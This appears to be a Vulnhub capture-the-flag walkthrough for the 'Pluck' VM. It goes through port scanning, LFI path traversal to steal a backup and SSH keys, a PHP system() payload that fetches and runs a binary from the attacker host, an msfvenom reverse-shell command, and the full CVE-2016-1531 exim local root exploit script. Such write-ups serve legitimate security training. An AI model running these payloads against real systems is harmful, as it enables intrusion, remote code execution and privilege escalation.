Vulnhub Walkthrough: Pluck

Enumeration

nmap

First things first, I started off with a port scan.

root@kali:~/ctf/pluck# nmap -Pn -p- 192.168.94.174 -oN nmap.txt
# Nmap 7.25BETA2 scan initiated Tue May 2 18:30:48 2017 as: nmap -Pn -p- -oN nmap.txt 192.168.94.174
Nmap scan report for 192.168.94.174
Host is up (0.00019s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
5355/tcp open unknown
MAC Address: 00:0C:29:44:20:7C (VMware)

# Nmap done at Tue May 2 18:30:49 2017 -- 1 IP address (1 host up) scanned in 1.27 seconds

nikto

Nikto found LFI!

root@kali:~/ctf/pluck# nikto -h 192.168.94.174 -o nikto.txt
- Nikto v2.1.6/2.1.5
+ Target Host: 192.168.94.174
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ HRMZTXYZ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ GET /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
+ OSVDB-29786: GET /admin.php?en_log_id=0&action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-29786: GET /admin.php?en_log_id=0&action=users: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-3092: GET /admin.php: This might be interesting...
+ OSVDB-3268: GET /images/: Directory indexing found.
+ OSVDB-3268: GET /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ GET Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: GET /icons/README: Apache default file found.

dirb

Dirb did not yield any significant results.

Exploring Web App

Verifying LFI

Next, I decided to verify the existence of LFI on the web application.

browser local file inclusion example

I noticed that the final entry of /etc/password had a shell script (/usr/local/scripts/backup.sh) as the login shell for the backup user. Leveraging LFI again, I grabbed the contents of the backup.sh script. Once cleaned up, it looked like this:

root@kali:~/ctf/pluck# cat backup.sh
#!/bin/bash

########################
# Server Backup script #
########################
#Backup directories in /backups so we can get it via tftp echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null echo "Backup complete"

Getting the Backups

So, this script creates a backup of the /home and /var/www/html directories and stores it at /backups/backup.tar. Back to LFI!

root@kali:~/ctf/pluck# wget "192.168.94.174/index.php?page=../../../../../../../../../../backups/backup.tar" -O backup.tar
--2017-05-02 22:27:57-- http://192.168.94.174/index.php?page=../../../../../../../../../../backups/backup.tar
Connecting to 192.168.94.174:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘backup.tar’

backup.tar             [            <=>    ] 1.31G 29.8MB/s

I stopped the download after 1.3G to inspect the contents. I then used binwalk to find files within the data file.

root@kali:~/ctf/pluck# binwalk backup.tar

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
16 0x10 HTML document header
1609 0x649 POSIX tar archive (GNU)
271567 0x424CF Unix path: /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
274781 0x4315D Unix path: /usr/share/doc/bash-doc/examples in the bash-doc package.
275101 0x4329D Unix path: /usr/share/bash-completion/bash_completion ]; then
275158 0x432D6 Unix path: /usr/share/bash-completion/bash_completion
275602 0x43492 POSIX tar archive (GNU), owner user name: "/.sudo_as_admin_successful"
814372 0xC6D24 POSIX tar archive (GNU), owner user name: "/.bash_logout"
1889352 0x1CD448 POSIX tar archive (GNU), owner user name: "l/keys/"
4038288 0x3D9E90 POSIX tar archive (GNU), owner user name: "l/keys/id_key2.pub"
8333600 0x7F2920 POSIX tar archive (GNU), owner user name: "l/keys/id_key2"
16922688 0x1023840 POSIX tar archive (GNU), owner user name: "l/keys/id_key4.pub"
34099328 0x2085080 OpenSSH DSA public key
34100352 0x2085480 POSIX tar archive (GNU), owner user name: "l/keys/id_key6"
68453120 0x4148300 POSIX tar archive (GNU), owner user name: "l/keys/id_key1"
137155072 0x82CD200 POSIX tar archive (GNU), owner user name: "l/keys/id_key5"
274557440 0x105D6A00 POSIX tar archive (GNU), owner user name: "l/keys/id_key1.pub"
549360640 0x20BE9400 POSIX tar archive (GNU), owner user name: "l/keys/id_key6.pub"
1098965504 0x4180E200 PEM RSA private key
1098967552 0x4180EA00 POSIX tar archive (GNU), owner user name: "l/keys/id_key3"

The listed files appeared to be part of a user’s home directory. The “keys” directory was particularly interesting. It appeared to contain 6 potential ssh keys. To extract all of this data, I used binwalk again, with the -e option.

root@kali:~/ctf/pluck/_backup.tar.extracted/home/paul/keys# ls -alh
total 56K
drwxrwxr-x 2 1002 1002 4.0K Jan 18 13:09 .
drwxr-xr-x 3 1002 1002 4.0K Jan 18 13:13 ..
-rwxrwxr-x 1 1002 1002 668 Jan 18 13:08 id_key1
-rwxrwxr-x 1 1002 1002 600 Jan 18 13:08 id_key1.pub
-rwxrwxr-x 1 1002 1002 672 Jan 18 13:08 id_key2
-rwxrwxr-x 1 1002 1002 600 Jan 18 13:08 id_key2.pub
-rwxrwxr-x 1 1002 1002 668 Jan 18 13:08 id_key3
-rwxrwxr-x 1 1002 1002 600 Jan 18 13:08 id_key3.pub
-rwxrwxr-x 1 1002 1002 1.7K Jan 18 13:09 id_key4
-rwxrwxr-x 1 1002 1002 392 Jan 18 13:09 id_key4.pub
-rwxrwxr-x 1 1002 1002 668 Jan 18 13:08 id_key5
-rwxrwxr-x 1 1002 1002 600 Jan 18 13:08 id_key5.pub
-rwxrwxr-x 1 1002 1002 1.7K Jan 18 13:09 id_key6
-rwxrwxr-x 1 1002 1002 392 Jan 18 13:09 id_key6.pub

Sure enough, they were SSH keys! I tried each of them with ssh until I found one that worked.

Getting a Shell

Using id_key4, I was able to ssh to the pluck server as paul. I was then presented with a PDmenu interface.

PDmenu interface

This was not what I expected, but at least it was progress. I cross-checked this against /etc/passwd, and sure enough, Paul’s login shell was /usr/bin/pdmenu. I searched for pdmenu vulnerabilities, but the only results were other pluck write-ups. I tried some command injection against the ping and telnet options in PDmenu, but got nowhere. Then I remembered my old friend LFI. I decided to try to upload some PHP code to grab myself a meterpreter shell. I then used the WWW option in PDmenu to pull down my code to /tmp. Finally, I used the browser to execute my code using LFI.

PHP Payload

<?php system('wget http://192.168.94.168/swag -O /tmp/swag; chmod 777 /tmp/swag; /tmp/swag');?>

Meterpreter Payload

root@kali:~/ctf# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.94.168 LPORT=443 -f elf -o swag
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 71 bytes
Final size of elf file: 155 bytes
Saved as: swag

metasploit listener

Privilege Escalation

My go-to guide for privilege escalation on Linux is g0tmi1k’s Basic Linux Privilege Escalation found here. After enumerating the OS, networking info, etc., I found a curious binary with a SUID bit set.

$ find / -perm -u=s -type f 2>/dev/null
/usr/exim/bin/exim-4.84-7
/usr/bin/passwd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/s-nail/s-nail-privsep
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/bin/ping
/bin/ntfs-3g
$

A quick query with searchsploit revealed 2 potential exploits for this version of exim; 39535 and 39549 from exploit-db. Both exploits involved manipulating perl environmental variables, but 39535 was less complicated, so I tried it first.

#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit # =============================================== # you can write files as root or force a perl module to # load by manipulating the perl environment and running # exim with the "perl_startup" arguement -ps. # # e.g. # [fantastic@localhost tmp]$ ./cve-2016-1531.sh # [ CVE-2016-1531 local root exploit # sh-4.3# id # uid=0(root) gid=1000(fantastic) groups=1000(fantastic) # # -- Hacker Fantastic echo [ CVE-2016-1531 local root exploit cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps

I downloaded the shell script using wget on the victim machine. I then chmod’d it to be executable and ran it. It failed the first time. I played around a bit with shells, and ended up using perl -e ‘exec “/bin/bash”;’ to spawn an interactive shell. I also had to convert the line endings in the script to unix with dos2unix. After doing both of these, I ran the script. It worked!!

www-data@pluck:/tmp$ wget 192.168.94.168/39535.sh
--2017-05-03 05:37:40-- http://192.168.94.168/39535.sh
Connecting to 192.168.94.168:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 643 [text/x-sh]
Saving to: '39535.sh'

39535.sh 100%[===================>] 643 --.-KB/s in 0s

2017-05-03 05:37:40 (70.4 MB/s) - '39535.sh' saved [643/643]

www-data@pluck:/tmp$ chmod +x 39535.sh
www-data@pluck:/tmp$ ./39535.sh
[ CVE-2016-1531 local root exploit
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=33(www-data) groups=33(www-data)

The Flag

The only task left was to get the flag. I navigated to /root, and cat’d flag.txt.

# cat flag.txt

Congratulations you found the flag

---------------------------------------

###### ((((((((((((((((((((((((((((((
######### (((((((((((((((((((((((((((
,,########## ((((((((((((((((((((((((
@@,,,########## (((((((((((((((((((((
@@@@@,,,##########
@@@@@@@@,,,############################
@@@@@@@@@@@,,,#########################
@@@@@@@@@,,,###########################
@@@@@@,,,##########
@@@,,,########## &&&&&&&&&&&&&&&&&&&&
,,,########## &&&&&&&&&&&&&&&&&&&&&&&
########## &&&&&&&&&&&&&&&&&&&&&&&&&&
####### &&&&&&&&&&&&&&&&&&&&&&&&&&&&&

#

Leave a Reply